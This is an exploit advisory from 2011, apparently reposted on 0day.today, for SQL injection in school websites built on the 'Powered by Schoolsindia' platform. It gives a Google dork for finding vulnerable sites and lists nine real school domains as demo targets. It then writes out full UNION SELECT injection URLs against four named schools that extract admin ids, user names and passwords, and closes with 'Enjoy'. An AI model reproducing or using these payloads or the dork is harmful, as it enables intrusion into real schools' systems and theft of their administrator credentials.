Powered by Schoolsindia Sql Injection Vulnerability

# Exploit Title:Powered by Schoolsindia Sql Injection Vulnerability
# Date: 8/6/2011
# Author: Angel Injection 
# home Page: http://www.club-h.co.cc
# Email: Angel-Injection[at]hotmail.com
# Vendor or Software Link: http://www.schoolsindia.com
# Version: n/a
# Category:: webapps
# Google dork: intext:"Powered by Schoolsindia"
# Tested on: Windows Xp Sp3
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
# Demo site:
http://stantonysmeerut.com/newsdetail.php?id=1%27
http://dpsmbd.com/newsdetail.php?id=1%27
http://www.apsbeas.org/newsdetail.php?id=1%27
http://springfieldscollege.com/newsdetail.php?id=1%27
http://davhardwar.org/newsdetail.php?id=1%27
http://www.inspirationschool.org/newsdetail.php?id=1%27
http://www.bbpsmodinagar.com/newsdetail.php?id=1%27
http://motherdivinepublicschool.in/newsdetail.php?id=1%27
http://www.stmarysmbd.com/newsdetail.php?id=1%27

Exploit

http://server/newsdetail.php?id=1'

demo

http://www.apsbeas.org/newsdetail.php?id=1+union+select+1,2,concat%28id,0x3a,user_name,0x3a,pass_word%29,4,5,6,7,8,9+from+admin
http://dpsmbd.com/newsdetail.php?id=1+union+select+1,2,concat%28id,0x3a,user_name,0x3a,pass_word%29,4,5,6,7,8,9+from+admin
http://www.stmarysmbd.com/newsdetail.php?id=1+union+select+1,2,concat%28id,0x3a,user_name,0x3a,pass_word%29,4,5,6,7,8,9+from+admin
http://motherdivinepublicschool.in/newsdetail.php?id=1+union+select+1,2,concat%28id,0x3a,user_name,0x3a,pass_word%29,4,5,6,7,8,9+from+admin



Enjoy
-- ------ ---------- ----------- ------- ------------- ------- --------- ------ ----
Thanks to all the people of Iraq And Club Hack Team



#  0day.today [2018-01-05]  #